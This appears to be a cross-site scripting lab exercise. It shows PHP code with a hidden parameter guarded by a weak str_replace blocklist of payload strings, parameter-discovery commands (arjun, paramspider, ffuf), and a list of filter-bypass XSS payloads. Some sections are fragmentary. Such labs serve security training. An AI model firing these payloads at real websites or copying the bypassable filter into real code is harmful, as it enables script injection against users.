Discover multiple hidden parameters and bypass extensive encoding filters
This lab contains multiple hidden parameters with extensive filtering that blocks various encoding techniques. The visible form uses secure HTML encoding, but there are several hidden endpoints with advanced filtering.
htmlspecialchars() for both first name and last name parameters.
str_replace($arr, '', $_GET['parameter']) with extensive blocklist of 100+ items
Objective: Discover the hidden parameters and bypass the extensive filter to execute XSS.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["id"])){
$arr = array('details','alert','confirm','prompt','eval','details','ontoggle','onmousemove','onmouseover','script','Script','sCript','scRipt','scrIpt','scriPt','scripT','SCript','SCRipt','SCRIpt','SCRIPt','SCRIPT','script','img','image','svg','onfocus', '"c"+"onfirm(1)">', '"co"+"nfirm(1)">', '"con"+"firm(1)">', '"conf"+"irm(1)">', '"confi"+"rm(1)">', '"confir"+"m(1)">', '"confirm"+"(1)">', '"c"+"o"+"n"+"f"+"i"+"r"+"m"+"(1)">', "alert(1)", "alert(1)", "alert(1)", "alert(1)", "alert(1)", "alert(1)", "alert(1)", "alert(1)", "alert(1)", "alert(1)", "alert(1)", "alert(1)", "alert(1)", "alert(1)", "alert(1)", "alert(1)", "alert(1)", "alert(1)", "alert(1)", "alert(1)", "alert(1)", "\u0061lert(1)", "a\u006cert(1)", "al\u0065rt(1)", "ale\u0072t(1)", "aler\u0074(1)", "\u0061\u006c\u0065\u0072\u0074(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "confirm(1)", "\u0063onfirm(1)", "c\u006fnfirm(1)", "co\u006efirm(1)", "con\u0066irm(1)", "conf\u0069rm(1)", "confi\u0072m(1)", "confir\u006d(1)", "\u0063\u006f\u006e\u0066\u0069\u0072\u006d(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "prompt(1)", "\u0070rompt(1)", "p\u0072ompt(1)", "pr\u006fmpt(1)", "pro\u006dpt(1)", "prom\u0070t(1)", "promp\u0074(1)", "\u0070\u0072\u006f\u006d\u0070\u0074(1)", "['ale'+'rt'](1)");
$re = str_replace($arr, '', $_GET['id']);
echo $re;
}
// Similar code for cat, page, number, page_id, categoryid
# use arjun tool to find hidden parameters
arjun -u https://example.compython3 paramspider.py -d example.comffuf -w wordlist.txt -u https://example.com?FUZZ=test<iframe>, <object>, <embed>onload, onerror, onclick${alert(1)} in certain contexts<marquee>, <audio>, <video>vbscript:, data: URIsThis lab demonstrates:
For secure web applications:
<iframe src="javascript:alert(1)"><object data="javascript:alert(1)"><embed src="javascript:alert(1)"><base href="javascript:alert(1)//"><form action="javascript:alert(1)"><input type=submit><body onload=alert(1)><input onfocus=alert(1) autofocus><select onfocus=alert(1) autofocus><textarea onfocus=alert(1) autofocus><keygen onfocus=alert(1) autofocus><marquee onstart=alert(1)> - Marquee tag with onstart<audio src=x onerror=alert(1)> - Audio tag<video src=x onerror=alert(1)> - Video tag<applet code="javascript:alert(1)"> - Applet tag<isindex type=image src=1 onerror=alert(1)> - Isindex tag<button onfocus=alert(1) autofocus> - Button with autofocus